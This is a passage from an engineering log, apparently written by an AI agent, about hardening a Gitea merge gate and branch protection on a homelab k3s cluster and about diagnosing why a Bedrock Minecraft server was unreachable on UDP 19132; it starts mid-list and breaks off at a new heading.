1. **`enable_status_check: true`** with `gate / gate (pull_request)` as the only context. The
|
||||||
|
prerequisite is met: the gate has been observed green on real PRs.
|
||||||
|
2. Add `jakman85` as a repo **collaborator**, then `required_approvals: 1`. (Currently the only
|
||||||
|
org member is `gitea-admin`, which agents authenticate as — requiring approval before that is
|
||||||
|
fixed would leave nobody able to approve.)
|
||||||
|
3. Run the **push probe** against protection: `gitea-admin` is a site admin and Gitea may let it
|
||||||
|
bypass. `user_can_push:false` is the API's opinion, not proof.
|
||||||
|
4. Align `gate.yml`'s push trigger with this repo's `feat/**` prefix.
|
||||||
|
5. Convert the `dind` container to a **native sidecar** with a `startupProbe`, per the standing
|
||||||
|
FOLLOW-UP note in `apps/wave-1/gitea-actions.yaml`. It deletes both hand-rolled wait loops and
|
||||||
|
the envsubst hazard. Land it ALONE — it is the merge gate for the whole repo.
|
||||||
|
6. Create the Plex libraries over `/media/movies`, `/media/tv`, `/media/photos`.
|
||||||
|
|
||||||
|
## 2026-09-29 (later) — the merge gate is now real, enforced, and proven. **PM HANDOFF.**
|
||||||
|
|
||||||
|
Closes the gap opened by the earlier entry today. Eight PRs, all gated; every claim below was
|
||||||
|
measured against the live API or cluster, not inferred from this repository.
|
||||||
|
|
||||||
|
### Final state
|
||||||
|
|
||||||
|
| | Verified |
|
||||||
|
|---|---|
|
||||||
|
| `main` protected | `protected:true`, `user_can_push:false` — and a direct push as site-admin `gitea-admin` was **provoked and rejected** (`pre-receive hook declined`) |
|
||||||
|
| Gate required | `enable_status_check:true`, contexts `["gate / gate (pull_request)"]` |
|
||||||
|
| Approvals | `required_approvals:1`; `jakman85` holds `owner` |
|
||||||
|
| Runner | `incluster-dind` online, now a **native sidecar** (`initContainers`, `restartPolicy: Always`, TLS-verified `docker info` startupProbe) |
|
||||||
|
| Gate time | ~1m35s |
|
||||||
|
| Plex | claimed 2026-09-29; `PlexOnlineToken` present on the `plex-config` PVC |
|
||||||
|
|
||||||
|
### What was corrected in the documentation
|
||||||
|
|
||||||
|
`CLAUDE.md` §2b — *never infer platform state from this repository* — is the durable outcome.
|
||||||
|
The 2026-08-31 entry asserting an enforced gate is now annotated **in place**. The "Phase 0 /
|
||||||
|
no cluster exists" framing across `ci/`, `clusters/` and `conformance/` READMEs is banner-marked
|
||||||
|
as describing a live gap rather than a stage. All 37 runbooks now describe the PR flow. Two
|
||||||
|
`.sops.yaml` headers and `catalog/plex.yaml` were corrected (comment edits verified not to break
|
||||||
|
the SOPS MAC, and not to move the rendered golden).
|
||||||
|
|
||||||
|
### A claim of mine that shipped wrong, and is now corrected in place
|
||||||
|
|
||||||
|
PR #7 stated the sidecar conversion would remove the one-per-start dockerd line
|
||||||
|
`http: TLS handshake error from 127.0.0.1: EOF`. **It does not.** Exactly one still appears,
|
||||||
|
immediately after `API listen on [::]:2376` — it is now the startupProbe's first attempt,
|
||||||
|
landing microseconds after dockerd begins listening and cut off by `timeoutSeconds: 1`; the
|
||||||
|
next poll succeeds. Cosmetic, and deliberately not chased: raising the timeout to hide one
|
||||||
|
benign startup line would slow every subsequent poll. The manifest comment now says so.
|
||||||
|
|
||||||
|
### The root cause nobody has fixed yet
|
||||||
|
|
||||||
|
Gitea's repo settings live in its own database — invisible to Flux and unreadable by the
|
||||||
|
conformance gate. **No check exists that could have caught "protection off, runner gone."**
|
||||||
|
`infra/gitea/` declares and can re-assert the desired state, but it is not a detector. A
|
||||||
|
conformance check that reads the live Gitea API and fails on divergence is the highest-value
|
||||||
|
remaining work in this repo, and it is the difference between this having been fixed and this
|
||||||
|
being unable to recur.
|
||||||
|
|
||||||
|
### Next steps
|
||||||
|
|
||||||
|
1. **Write that Gitea-settings conformance check.** Everything else here is a symptom.
|
||||||
|
2. Wire `vars.CLUSTER_AVAILABLE` + `secrets.CONFORMANCE_TRIGGER_KUBECONFIG` so **L2/L3 runs in
|
||||||
|
CI**. A green PR currently proves the L0/L1 offline subset only — runtime behaviour is
|
||||||
|
unverified on every merge.
|
||||||
|
3. Re-run `infra/gitea/verify-then-enforce.sh` after any future act-runner change.
|
||||||
|
4. `required_approvals: 1` means a PR you open as `jakman85` needs `gitea-admin` to approve.
|
||||||
|
If that friction bites, either open agent work as `gitea-admin` and review as `jakman85`, or
|
||||||
|
drop back to relying on the status check alone.
|
||||||
|
|
||||||
|
## 2026-09-29 (later still) — the enforcement we "turned on" was overridable by the account that merges
|
||||||
|
|
||||||
|
`enable_status_check: true` and `required_approvals: 1` were set earlier today and recorded as
|
||||||
|
done. **They did not bite.** `block_admin_merge_override` was `false`, and Gitea lets repository
|
||||||
|
admins override merge requirements without it. `jakman85` holds `owner`, so both requirements
|
||||||
|
were bypassable by exactly the account that performs every merge.
|
||||||
|
|
||||||
|
**The evidence was already on the record and nobody read it:** PRs #5, #6, #7, #8 and #9 all
|
||||||
|
merged while `required_approvals: 1` was in force, with **zero approvals recorded on any of
|
||||||
|
them**. A one-line check (`/pulls/{n}/reviews`) would have shown it at any point.
|
||||||
|
|
||||||
|
Two process failures, both mine, both the same shape as the original defect:
|
||||||
|
|
||||||
|
1. **I verified with the wrong view.** `/branches/main` reports `protected`,
|
||||||
|
`enable_status_check` and `required_approvals` but NOT `block_admin_merge_override`. It
|
||||||
|
showed everything green while the rule was overridable. The authoritative object is
|
||||||
|
`/branch_protections/main` — read it and enumerate its keys.
|
||||||
|
2. **I probed for a field name I assumed existed.** This Gitea (1.24.3) has no
|
||||||
|
`apply_to_admins`. Asking `jq` for it returns `null`, which reads exactly like "set to
|
||||||
|
false" but means "key absent" — so a PATCH that silently did nothing looked like a real
|
||||||
|
before/after. **`jq` returning null is not a value; it may be an absence.** Enumerate with
|
||||||
|
`to_entries`.
|
||||||
|
|
||||||
|
Now `block_admin_merge_override: true`, applied and read back. `infra/gitea/require-gate.sh`
|
||||||
|
sets it, and `infra/gitea/block-admin-override.sh` fixes it in isolation.
|
||||||
|
|
||||||
|
**This is still only a setting.** It is proven when a green PR is REFUSED a merge until
|
||||||
|
approved — and that has not been observed yet. This PR is the test: if it merges without an
|
||||||
|
approval, the fix did not work and the finding stands.
|
||||||
|
|
||||||
|
### The governance question this exposes
|
||||||
|
|
||||||
|
There are two accounts: `jakman85` (owner, the human) and `gitea-admin` (the agent). With
|
||||||
|
approvals now genuinely required, an agent-authored PR is approved by the human — which is the
|
||||||
|
intent. But a PR authored by `jakman85` needs `gitea-admin` to approve it, i.e. the automation
|
||||||
|
account rubber-stamping the human. That is ceremony, not review. Options: keep it and accept
|
||||||
|
the ceremony; drop `required_approvals` to 0 and rely on the status check, which is the gate
|
||||||
|
that actually verifies something; or add a second human account. **This is a decision for the
|
||||||
|
operator, not a default to be chosen silently.**
|
||||||
|
|
||||||
|
## 2026-09-29 (end of session) — **PM HANDOFF.** Six PRs open; read this before touching anything.
|
||||||
|
|
||||||
|
The session that began "set a SOPS secret" ended having rebuilt the delivery pipeline. Plex is
|
||||||
|
claimed and scanning. `main` is genuinely protected and the gate genuinely enforces. What is
|
||||||
|
open is listed below with the reason each is not merged.
|
||||||
|
|
||||||
|
### MERGE THESE — both gated green
|
||||||
|
|
||||||
|
| PR | What | Risk |
|
||||||
|
|---|---|---|
|
||||||
|
| #12 | `CLUSTER_AVAILABLE=true` would have FAKED A GREEN over 54 skipped tests — now blocks | low; makes a wrong state loud |
|
||||||
|
| #13 | Admission boundary constraining the conformance CI trigger (R-SEC-02) + a fail-open fix in `ci/l0.sh` | medium; touches Kyverno + adds a Flux Kustomization |
|
||||||
|
|
||||||
|
(#11, the Gitea drift detector, was merged during this session — hence the action below.)
|
||||||
|
|
||||||
|
Order does not matter for correctness; if a later one conflicts, rebase and the gate re-runs
|
||||||
|
(~1m35s in CI, 76s local). **Each was gated in the pinned toolbox, not on a host.**
|
||||||
|
|
||||||
|
### DO THIS FIRST — #11 is merged and its detector is currently INERT
|
||||||
|
|
||||||
|
`ci/gitea-settings.sh` SKIPS until its token exists, and **a skipped detector detects nothing**:
|
||||||
|
|
||||||
|
./infra/gitea/set-ci-token.sh # mints + stores GITEA_SETTINGS_TOKEN, never prints it
|
||||||
|
|
||||||
|
Then open any PR and confirm the gate prints `gitea-settings: green`. ONLY THEN uncomment
|
||||||
|
`REQUIRE_GITEA_SETTINGS: "true"` in `.gitea/workflows/gate.yml`, so a future missing token blocks
|
||||||
|
instead of skipping. Doing that before seeing it green locks the repo.
|
||||||
|
|
||||||
|
Until then every gate run ends `MERGE GATE: UNDETERMINED` (exit 3) naming `gitea-settings` as
|
||||||
|
unrun. That is BY DESIGN and `gate.yml` tolerates exit 3, so PRs still pass — but it is not a
|
||||||
|
green run, and it is saying so honestly. The token is what turns it green.
|
||||||
|
|
||||||
|
### A DIFFERENT COMPUTER NEEDS THREE THINGS THAT ARE NOT IN GIT
|
||||||
|
|
||||||
|
This is the part that will silently waste an hour otherwise. None of these are in the repo, by
|
||||||
|
design, and without them the toolbox and the cluster are unreachable:
|
||||||
|
|
||||||
|
1. **`~/.config/sops/age/keys.txt`** — the age PRIVATE key. Without it NO `*.sops.yaml` can be
|
||||||
|
read or edited, and `sops` will fail in a way that looks like a broken file. Copy it from this
|
||||||
|
workstation; the public recipient in `.sops.yaml` is only half the pair.
|
||||||
|
2. **`infra/ansible/.cache/prod.kubeconfig`** — untracked, so it exists only in the main checkout
|
||||||
|
on this machine. Without it `dev.sh` refuses to start. In a git WORKTREE it is absent even
|
||||||
|
here: use `DEV_KUBECONFIG=/dev/null` for anything that needs no cluster (see `CLAUDE.md` §3).
|
||||||
|
3. **A Gitea credential** for `gitea.home.keithjackson.dev` (this session used the stored
|
||||||
|
`~/.git-credentials`). `git push` and every `infra/gitea/*.sh` script needs it.
|
||||||
|
|
||||||
|
### STATE, MEASURED — do not re-derive it from this log, re-measure it
|
||||||
|
|
||||||
|
`CLAUDE.md` §2b exists because this log was confidently wrong for a month. Verify before relying:
|
||||||
|
|
||||||
|
protected:true user_can_push:false enable_status_check:true
|
||||||
|
status_check_contexts:["gate / gate (pull_request)"] required_approvals:1
|
||||||
|
block_admin_merge_override:true runner incluster-dind: online gate ~1m35s
|
||||||
|
|
||||||
|
### NEXT WORK, in priority order
|
||||||
|
|
||||||
|
1. **Finish the L2/L3 wiring** now that the credential model is decided and #13 lands the
|
||||||
|
boundary. Still missing (`docs/plans/l2-l3-conformance-ci-wiring.md` §3): a runner image with
|
||||||
|
bash/python3/kubectl/git/chainsaw, an init-container cloning the repo at the PR SHA, results
|
||||||
|
collection via a base64 tar on stdout, and the `ci/conformance.sh` rewrite to drive the Job.
|
||||||
|
**Tighten the admission policy's image pattern to the literal digest when that image exists.**
|
||||||
|
2. **Do NOT set `vars.CLUSTER_AVAILABLE=true`** until step 1 is done. It does not enable L2/L3; it
|
||||||
|
only changes which way the stage fails (see #12).
|
||||||
|
3. The `gitea-settings` detector covers branch protection + runners. It does NOT yet cover Gitea
|
||||||
|
Actions **variables and secrets** — the next-nearest invisible surface.
|
||||||
|
4. `required_approvals: 1` with two accounts means a PR authored by `jakman85` needs `gitea-admin`
|
||||||
|
to approve. The operator holds ultimate authority and does not require that review; revisit if
|
||||||
|
it becomes friction.
|
||||||
|
|
||||||
|
### THE LESSON, because it caused every finding here
|
||||||
|
|
||||||
|
Four times this session the repository was treated as evidence about the live platform, and four
|
||||||
|
times it was wrong: the push that would "be rejected" (it would not have been), the token that
|
||||||
|
"could not survive the pipeline" (~2m45s, it fits), the required check that would "deadlock" (a
|
||||||
|
skipped Gitea job reports SUCCESS), and enforcement that was "on" (admins overrode it). Two
|
||||||
|
fail-opens in the gate itself were found the same way — `kyverno test` certifying policies that do
|
||||||
|
not load, and `CLUSTER_AVAILABLE` certifying 54 skipped tests as passed.
|
||||||
|
|
||||||
|
**Measure, then assert. `CLAUDE.md` §2b is the rule; this entry is the evidence for it.**
|
||||||
|
|
||||||
|
## 2026-09-29 (addendum, unattended) — the detector is armed; **I CANNOT MERGE, and that is correct**
|
||||||
|
|
||||||
|
Operator ran `set-ci-token.sh`, uncommented `REQUIRE_GITEA_SETTINGS` locally on `main`, and left
|
||||||
|
instructions to continue unattended and merge on green CI. Two things came out of that.
|
||||||
|
|
||||||
|
### 1. The detector was INERT, and would have stayed inert silently
|
||||||
|
|
||||||
|
`set-ci-token.sh` PUT the secret as `GITEA_SETTINGS_TOKEN`. **Gitea reserves the `GITEA_`
|
||||||
|
prefix** for secret names (as GitHub reserves `GITHUB_`) and rejected it:
|
||||||
|
|
||||||
|
HTTP 400 {"message":"invalid secret name"}
|
||||||
|
|
||||||
|
The script sent that PUT to `/dev/null` and printed `==> stored.` unconditionally; `curl -sS`
|
||||||
|
exits 0 on an HTTP error. **A token existed; no secret did.** So `ci/gitea-settings.sh` would
|
||||||
|
have skipped on every run forever — and enabling `REQUIRE_GITEA_SETTINGS` on top of that would
|
||||||
|
have BLOCKED EVERY PR, including the one fixing it. That is the exact lock-out this repo has now
|
||||||
|
nearly walked into three times.
|
||||||
|
|
||||||
|
Fixed in **PR #15**: the secret is `SETTINGS_API_TOKEN`, and `set-ci-token.sh` now checks the HTTP
|
||||||
|
status AND reads the secret back before claiming success. The missing verification was the real
|
||||||
|
defect; the illegal name is only what it hid. The secret is stored and verified present, and
|
||||||
|
**PR #15's CI is GREEN with `REQUIRE_GITEA_SETTINGS=true`** — which is the only proof that
|
||||||
|
matters, because a skip would have made it red.
|
||||||
|
|
||||||
|
The operator's local edit could not be pushed to `main` (protected). It is carried in PR #15.
|
||||||
|
|
||||||
|
### 2. No agent-authored PR can be merged without the operator — by design
|
||||||
|
|
||||||
|
Merging PR #12 as `gitea-admin` returned:
|
||||||
|
|
||||||
|
HTTP 405 {"message":"Does not have enough approvals"}
|
||||||
|
|
||||||
|
`required_approvals: 1` + `block_admin_merge_override: true` + two accounts, one of which
|
||||||
|
(`gitea-admin`) authors every agent PR and cannot self-approve. **So "merge on green CI" is not
|
||||||
|
something an agent can execute here.** That is the control working, not a fault — and it was
|
||||||
|
deliberately not circumvented. Self-approving would hollow out the boundary that was just built
|
||||||
|
and verified.
|
||||||
|
|
||||||
|
**This is an operator decision, not a bug to fix:** either accept that every agent PR waits for a
|
||||||
|
human approval (the honest reading of the control), or add a second human reviewer account, or
|
||||||
|
lower `required_approvals` to 0 and rely on the status check — which is the gate that actually
|
||||||
|
verifies something. Whichever, change the DECLARATION in
|
||||||
|
`infra/gitea/expected-branch-protection.json` in the same commit, or `gitea-settings` will
|
||||||
|
correctly fail the gate on the drift.
|
||||||
|
|
||||||
|
### Open PRs, all gated green, none mergeable by an agent
|
||||||
|
|
||||||
|
| PR | What |
|
||||||
|
|---|---|
|
||||||
|
| #12 | `CLUSTER_AVAILABLE=true` would have faked a green over 54 skipped tests — now blocks |
|
||||||
|
| #13 | Conformance-trigger admission boundary (R-SEC-02) + `kyverno test` fail-open fix |
|
||||||
|
| #14 | This handoff |
|
||||||
|
| #15 | Secret-name fix + `REQUIRE_GITEA_SETTINGS` enabled — **CI green with REQUIRE active** |
|
||||||
|
|
||||||
|
Suggested order: #15 first (it arms the detector and its CI already proved it), then #12, #13,
|
||||||
|
#14. If a later one conflicts, rebase; the gate re-runs in ~1m36s.
|
||||||
|
|
||||||
|
### Deliberately NOT done while unattended
|
||||||
|
|
||||||
|
No new feature work was started. Five unmerged PRs already stack review burden, and building the
|
||||||
|
next L2/L3 piece on top of unmerged branches would create a rebase tangle for no gain — the work
|
||||||
|
cannot land any faster. The next piece is specified and ready to start once these are merged:
|
||||||
|
`docs/plans/l2-l3-conformance-ci-wiring.md` §3, with §4's credential model now decided and its
|
||||||
|
boundary landed in #13.
|
||||||
|
|
||||||
|
## 2026-09-29 — Bedrock "cannot connect on 19132": the platform delivered the packets, the server never opened the socket
|
||||||
|
|
||||||
|
**Branch:** `fix/crafty-bedrock-19132` → PR to `main`. **Read-only diagnosis; nothing was applied.**
|
||||||
|
**Gate:** see "Gate" below — quote it, do not round it up.
|
||||||
|
|
||||||
|
### The report, and what actually refuses
|
||||||
|
|
||||||
|
Reported as "users are unable to connect to Crafty Minecraft servers listening on UDP port 19132
|
||||||
|
(Bedrock, slot 0)". No client type, no error text, no history.
|
||||||
|
|
||||||
|
**Nothing was listening on UDP 19132.** A Bedrock server exists and its process is alive, but it is
|
||||||
|
not speaking RakNet, so it never binds a UDP port. The entire network path below it is correct and was
|
||||||
|
measured as such, including *counted packets that arrived and were allowed*.
|
||||||
|
|
||||||
|
The chain, each line a measured field with the command that produced it:
|
||||||
|
|
||||||
|
1. **The server exists and runs.** `kubectl -n crafty exec … -c crafty -- ps -ef`:
|
||||||
|
`crafty 46689 1 ./bedrock_server`, started 20:54, cwd
|
||||||
|
`/crafty/servers/c5837301-12b1-404e-b50e-70eafb37226b`. Crafty's DB (`select * from servers` via
|
||||||
|
`/crafty/.venv/bin/python`, read-only URI) row 2: `server_name='K3s-Bedrock'`,
|
||||||
|
`type='minecraft-bedrock'`, `server_port=19132`, `created='2026-09-29 20:51:53'`.
|
||||||
|
So hypothesis "the operator never created a Bedrock server" — the PM's prior favourite, and mine —
|
||||||
|
is **false**. It was created ~20 minutes before I looked.
|
||||||
|
2. **Nothing is bound to UDP 19132.** `cat /proc/net/udp` and `/proc/net/udp6` in the crafty
|
||||||
|
container: **no `4ABC` local port in either family**. IPv4 UDP held nothing but an ephemeral
|
||||||
|
(`BBBF`=48063); IPv6 UDP nothing but `1D7F`=7551. Meanwhile `/proc/net/tcp6` line 0 is
|
||||||
|
`…:4ABC … 0A` — port 19132 is bound, as **TCP**, LISTEN. (Java's 25565 = `63DD` and Crafty's
|
||||||
|
8443 = `20FB` are both there in `tcp6`, so the Java server is genuinely up.)
|
||||||
|
3. **Why: `transport=nethernet`.** `grep -v ^# server.properties` on the Bedrock server dir:
|
||||||
|
`server-port=19132`, `server-portv6=19133`, **`transport=nethernet`**, `enable-lan-visibility=true`.
|
||||||
|
The file's own shipped documentation, quoted verbatim: `# Allowed values: "raknet" or "nethernet"`,
|
||||||
|
and above `server-portv6`: `# This property is ignored when transport=nethernet and a dual-stack
|
||||||
|
socket will be opened on server-port instead`. NetherNet is the WebRTC/Xbox-signalled transport —
|
||||||
|
it opens no RakNet UDP listener. Consistent with the pod's outbound `tcp` entries to
|
||||||
|
`150.171.110.177:443` / `.178:443` (Microsoft) and the churning ephemeral UDP sockets.
|
||||||
|
4. **Nobody set that; it is the vendor default.** `server.properties` mtime `Sep 29 20:52` equals the
|
||||||
|
`bedrock_server` binary's — untouched since extraction — and `grep -rn transport
|
||||||
|
/crafty/app/classes/minecraft/` returns **nothing**: Crafty has no code that reads or writes this
|
||||||
|
property. So a freshly-downloaded BDS of this build **never** listens on `19132/udp`, and no amount
|
||||||
|
of Crafty-side configuration changes that.
|
||||||
|
5. **The failure is observable from inside the pod, from localhost.**
|
||||||
|
`grep raknet /crafty/logs/commander.log`, every 5–30 s since 21:02:
|
||||||
|
`WARNING - app.classes.remote_stats.raknet_ping - Got timeout while issuing bedrock ping to
|
||||||
|
127.0.0.1:19132`. Crafty's only Bedrock health probe is `raknet_ping.py` (`ls
|
||||||
|
/crafty/app/classes/remote_stats/`), so the panel is asking the right question and getting silence
|
||||||
|
**over loopback**. That single line eliminates every network hypothesis at once.
|
||||||
|
6. **Real player traffic reached the pod and was permitted.** `cilium-dbg bpf policy get <crafty ep>`
|
||||||
|
on `cilium-wdh82` (k3s-prod-1):
|
||||||
|
`Allow Ingress reserved:world 19132/UDP … BYTES 27660 PACKETS 26`.
|
||||||
|
**26 packets of world traffic were allowed in on 19132/UDP.** The policy did not drop them; the
|
||||||
|
application had no socket to receive them. `reserved:remote-node 19132/UDP` is also an Allow (0
|
||||||
|
bytes — the packets landed on the node that both announces the VIP and runs the pod, so no second
|
||||||
|
hop), which re-confirms the 2026-09-14 finding that `cluster` subsumes `remote-node` here.
|
||||||
|
|
||||||
|
**Verdict: this is not a platform defect and not a manifest defect. It is the Bedrock Dedicated
|
||||||
|
Server's default `transport=nethernet`, plus a README that told the operator creating a server on
|
||||||
|
19132 was sufficient.** The repo-side defect is documentation, and that is what this branch changes.
|
||||||
|
|
||||||
|
### The platform path, measured sound (so the operator can rule it out for good)
|
||||||
|
|
||||||
|
| Claim | Measured |
|
||||||
|
|---|---|
|
||||||
|
| `crafty-l4-udp` really is `Cluster` | `kubectl get svc crafty-l4-udp -o yaml` → `spec.externalTrafficPolicy: Cluster` (the 2026-09-14 fix IS live, not just in git) |
|
||||||
|
| VIP allocated | `status.loadBalancer.ingress[0].ip: 192.168.2.22`, `ipMode: VIP`, condition `cilium.io/IPAMRequestSatisfied=True reason=satisfied` |
|
||||||
|
| Backends exist | EndpointSlice `crafty-l4-udp-68kws` → `10.0.0.130`, ports `19132,19133,19134` |
|
||||||
|
| Datapath frontend present | `cilium-dbg service list` on **both** k3s-prod-1 and k3s-prod-3: `192.168.2.22:19132/UDP LoadBalancer 1 => 10.0.0.130:19132/UDP (active)` — i.e. any node can serve it, which is exactly what `Cluster` is for |
|
||||||
|
| Policy admits it | datapath policy map, `Allow Ingress reserved:world 19132/UDP` (+ `host`, `remote-node`, `unmanaged`, `init`, `health`, `kube-apiserver`) |
|
||||||
|
| LAN DNS resolves | `nslookup crafty-mc.home.keithjackson.dev 127.0.0.1` in the pihole pod → `Address: 192.168.2.22` |
|
||||||
|
| Flux applied current `main` | Kustomization `crafty` `.status.lastAppliedRevision = main@sha1:20ea70d…` == GitRepository `flux-system` `.status.artifact.revision = main@sha1:20ea70d…` |
|
||||||
|
|
||||||
|
### A real second finding: the shared VIP's two leases sit on DIFFERENT nodes
|
||||||
|
|
||||||
|
`kubectl -n kube-system get lease … | grep l2announce`:
|
||||||
|
|
||||||
|
cilium-l2announce-crafty-crafty-l4-tcp k3s-prod-3
|
||||||
|
cilium-l2announce-crafty-crafty-l4-udp k3s-prod-1
|
||||||
|
cilium-l2announce-unifi-unifi-l4-tcp k3s-prod-2
|
||||||
|
cilium-l2announce-unifi-unifi-l4-udp k3s-prod-2
|
||||||
|
cilium-l2announce-pihole-pihole-dns-tcp k3s-prod-3
|
||||||
|
cilium-l2announce-pihole-pihole-dns-udp k3s-prod-3
|
||||||
|
|
||||||
|
Crafty is the **only** shared-VIP pair that is split: **two nodes ARP-announce `192.168.2.22`
|
||||||
|
simultaneously.** unifi and pihole happen to be co-located. This is the per-Service, backend-blind
|
||||||
|
election described in `service-l4.yaml` doing exactly what that comment says it does — and it is a
|
||||||
|
*coincidence* that the other two pairs agree, not a property.
|
||||||
|
|
||||||
|
**I am not calling this the bug, and I am not changing anything for it**, because under
|
||||||
|
`externalTrafficPolicy: Cluster` it is benign by construction: `cilium-dbg service list` shows the
|
||||||
|
full frontend set with an active backend on **both** announcing nodes (table above), so whichever
|
||||||
|
node's ARP reply a client caches, the packet is forwarded to the pod. The cost is ARP-cache churn on
|
||||||
|
LAN clients, not a black hole — and this is why the 2026-09-14 `Local`→`Cluster` flip was the right
|
||||||
|
fix rather than a lucky one. **No new L0 check is warranted:**
|
||||||
|
`conformance/tests/l0-static/l2-announced-vips-serve-from-any-node/check.sh` already forbids
|
||||||
|
`Local` on any announced Service tree-wide, which is precisely the invariant that makes a split
|
||||||
|
harmless. An additional "shared-VIP pairs must be co-located" check would assert a *runtime* lease
|
||||||
|
placement a static check cannot see, and Cilium offers no field to pin it.
|
||||||
|
|
||||||
|
### Hypotheses tested and discarded, so nobody re-runs them
|
||||||
|
|
||||||
|
- **Wrong port / IPv6-only bind (h2).** Partly right in shape, wrong in mechanism: `server-port=19132`
|
||||||
|
is correct and the process is not v6-only — it binds *no* UDP port at all. Measured, not assumed.
|
||||||
|
- **Shared-VIP ARP split (h3).** Real (above), not causal.
|
||||||
|
- **`Cluster` not actually live on the UDP Service (h4).** False; it is live, with datapath to match.
|
||||||
|
- **Loaded policy ≠ git policy (h5).** False; dumped the BPF map, 19132/UDP is an Allow and has
|
||||||
|
counted traffic.
|
||||||
|
- **SNAT collapsing RakNet sessions (h6).** **UNTESTED AND UNTESTABLE TODAY** — there is no RakNet
|
||||||
|
session to collapse. It remains a live theory for *after* the transport is fixed: Cilium is in SNAT
|
||||||
|
mode (no `loadBalancer.mode: dsr`), so every LAN player will reach the server as one address, and
|
||||||
|
RakNet keys sessions on source `ip:port`. Nothing was measured about masquerade port-reuse or UDP
|
||||||
|
conntrack here. Do not treat this paragraph as evidence of anything.
|
||||||
|
- **DNS (h8).** False; pihole answers `192.168.2.22` (table above).
|
||||||
|
- **Client-side realities (h7).** Not the *cause* of a dead socket, but they will be the next wall:
|
||||||
|
LAN/Friends discovery cannot work behind a VIP, and consoles cannot type a server address. Both are
|
||||||
|
now documented in `platform/crafty/README.md` rather than left for the next person to rediscover.
|
||||||
|
|
||||||
|
### What changed in this repo
|
||||||
|
|
||||||
|
`platform/crafty/README.md` only. **No manifest was touched** — the manifests are provably correct,
|
||||||
|
and adding ports or widening policy for this would have been manufacturing work to look productive.
|
||||||
|
Added: *"Bedrock on UDP 19132 — the transport trap"* (the measurement chain above, and the
|
||||||
|
`raknet_ping` warning as its signature), *"Bedrock realities that are NOT platform defects"* (no LAN
|
||||||
|
discovery, consoles, the `enable-lan-visibility` collision with slots 1–2, `server-portv6`). Corrected
|
||||||
|
three stale claims: "the operator has **not created any servers yet**" (two exist), the human test
|
||||||
|
that implied a started Bedrock server on 19132 is reachable, and the single-server *Runtime state*
|
||||||
|
section (now a two-row table).
|
||||||
|
|
||||||
|
### What I did NOT verify — read this before acting
|
||||||
|
|
||||||
|
- **That `transport=raknet` fixes it is REASONED, NOT OBSERVED.** It follows from the shipped property
|
||||||
|
docs (`Allowed values: "raknet" or "nethernet"`; `server-portv6` "ignored when
|
||||||
|
transport=nethernet") and from the absence of any UDP bind under `nethernet`. Editing
|
||||||
|
`server.properties` is a write to application state on the PVC, which is an operator action, so I
|
||||||
|
did not try it. **Nobody has seen a packet answered on 19132/udp on this cluster.**
|
||||||
|
- **No end-to-end LAN test.** I never sent a RakNet unconnected-ping from a LAN host to
|
||||||
|
`192.168.2.22:19132`. I did not need to: the same ping fails from `127.0.0.1` inside the pod.
|
||||||
|
- **Nothing was applied.** No `kubectl apply/edit/patch/scale`, no `flux reconcile`, no file written
|
||||||
|
inside the container. The running pod is still `crafty-64f7b6d78-pkpgp` (2/2, 15d, 0 restarts) on
|
||||||
|
the **pre-`fix/crafty-oauth2-proxy-signin`** spec — that PR is still unmerged.
|
||||||
|
- **Who those 26 packets came from is unknown.** Byte/packet counters prove arrival and permission,
|
||||||
|
not identity. I did not run a live `cilium monitor` or `tcpdump`, so "users were trying and being
|
||||||
|
ignored" is a strong inference, not a captured flow.
|
||||||
|
- **The Java server's reachability was not tested.** `25565` is bound (`tcp6 63DD LISTEN`) and its
|
||||||
|
datapath frontend is active on both nodes, but no client connected during this session. The TCP
|
||||||
|
lease being on k3s-prod-3 while the pod is on k3s-prod-1 is `Cluster` working as designed — asserted
|
||||||
|
from the service table, not from a connection.
|
||||||
|
- **The NetherNet side was not explored.** Whether this server is currently joinable *at all* through
|
||||||
|
Xbox/Friends signalling (its actual transport) is unknown and untested.
|
||||||
|
- **Bedrock slots 1 and 2 (19133/19134) have never had a server.** The `enable-lan-visibility`
|
||||||
|
collision I documented for them is read from the shipped comment, not provoked.
|
||||||
|
|
||||||
|
### Operator actions required (I cannot do any of these)
|
||||||
|
|
||||||
|
1. **Make the Bedrock server speak RakNet.** In Crafty: stop `K3s-Bedrock`, edit
|
||||||
|
`/crafty/servers/c5837301-12b1-404e-b50e-70eafb37226b/server.properties` →
|
||||||
|
`transport=raknet`, start it. Then confirm the socket exists before telling anyone it works:
|
||||||
|
`kubectl --context k3s-prod -n crafty exec <pod> -c crafty -- grep 4ABC /proc/net/udp /proc/net/udp6`
|
||||||
|
should now show a wildcard bind, and the `raknet_ping` timeout warnings in
|
||||||
|
`/crafty/logs/commander.log` should stop. **Both checks, not one.**
|
||||||
|
2. **Then tell the players how to connect.** Windows/mobile client → **Add Server** →
|
||||||
|
`crafty-mc.home.keithjackson.dev`, port **19132**. It will *not* appear in the LAN/Friends tab, and
|
||||||
|
a Switch/Xbox/PlayStation client cannot reach it at all. If the reported users are on consoles,
|
||||||
|
step 1 will not help them and the answer is "unsupported without a DNS redirect".
|
||||||
|
3. **Fix `auto_start` on the new server.** DB row `K3s-Bedrock` has `auto_start=0` **and**
|
||||||
|
`crash_detection=0` — the create-API trap already documented in this repo, live again.
|
||||||
|
`PATCH /api/v2/servers/c5837301-…` setting both true, **and read them back**. Until then the
|
||||||
|
Bedrock server does not survive a pod restart — and merging
|
||||||
|
`fix/crafty-oauth2-proxy-signin` restarts the pod (`strategy: Recreate`, RWO volume), stopping
|
||||||
|
*both* Minecraft servers.
|
||||||
|
4. **Optional, cosmetic:** to stop two nodes ARP-announcing `192.168.2.22`, delete
|
||||||
|
`lease/cilium-l2announce-crafty-crafty-l4-tcp` in `kube-system` and let it re-elect — a 1-in-3
|
||||||
|
chance of landing on k3s-prod-1. Not worth doing: under `Cluster` the split costs nothing but ARP
|
||||||
|
churn, and a redraw is equally random.
|
||||||
|
5. **After step 1, watch for the SNAT/RakNet question (h6 above)** — if a *second* simultaneous player
|
||||||
|
evicts the first, that is the SNAT theory becoming real and it needs its own measured
|
||||||
|
investigation (masquerade port reuse, UDP conntrack), not a guess.
|
||||||
|
|
||||||
|
## 2026-09-29 (later) — Bedrock IS reachable on 19132/udp. The `TRANSPORT TYPE ERROR` banner is advisory, and the last entry's "REASONED, NOT OBSERVED" call has now been OBSERVED — correct
|
||||||
|
|
||||||
|
**Do not read this as overturning the previous entry's recommendation. It confirms it.** What it
|
||||||
|
overturns is the conclusion the operator and I both drew from the server's *reaction* to it.
|
||||||
|
|
||||||
|
### The sequence
|
||||||
|
|
